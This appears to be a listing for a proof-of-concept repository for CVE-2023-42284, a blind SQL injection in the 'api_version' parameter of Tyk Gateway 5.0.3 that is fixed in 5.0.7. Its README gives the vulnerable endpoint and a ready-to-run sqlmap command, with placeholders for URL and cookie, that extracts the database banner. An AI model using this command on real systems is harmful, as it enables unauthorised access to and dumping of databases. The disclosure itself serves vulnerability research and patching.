CVE-2023-42284 PoC — Tyk Gateway 安全漏洞

Source

https://github.com/andreysanyuk/CVE-2023-42284

Associated Vulnerability

Title: Tyk Gateway 安全漏洞 (CVE-2023-42284)
Description:Blind SQL injection in api_version parameter in Tyk Gateway version 5.0.3 allows attacker to access and dump the database via a crafted SQL query.

Description

  Proof of concept for CVE-2023-42284 in Tyk Gateway

Readme

# Disclaimer
For educational purpose only!

## Details
Proof of concept for CVE-2023-42284.
Tyk Gateway is vulnerable to SQL injection.
Fixed in 5.0.7 version.

The URL parameter ‘api_version’ of the "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=..."is vulnerable to Blind SQL injection.

## Exploitation

Use sqlmap with following parameters:

```
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner
```

SQL DB banner is returned in response:

```
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
```

File Snapshot

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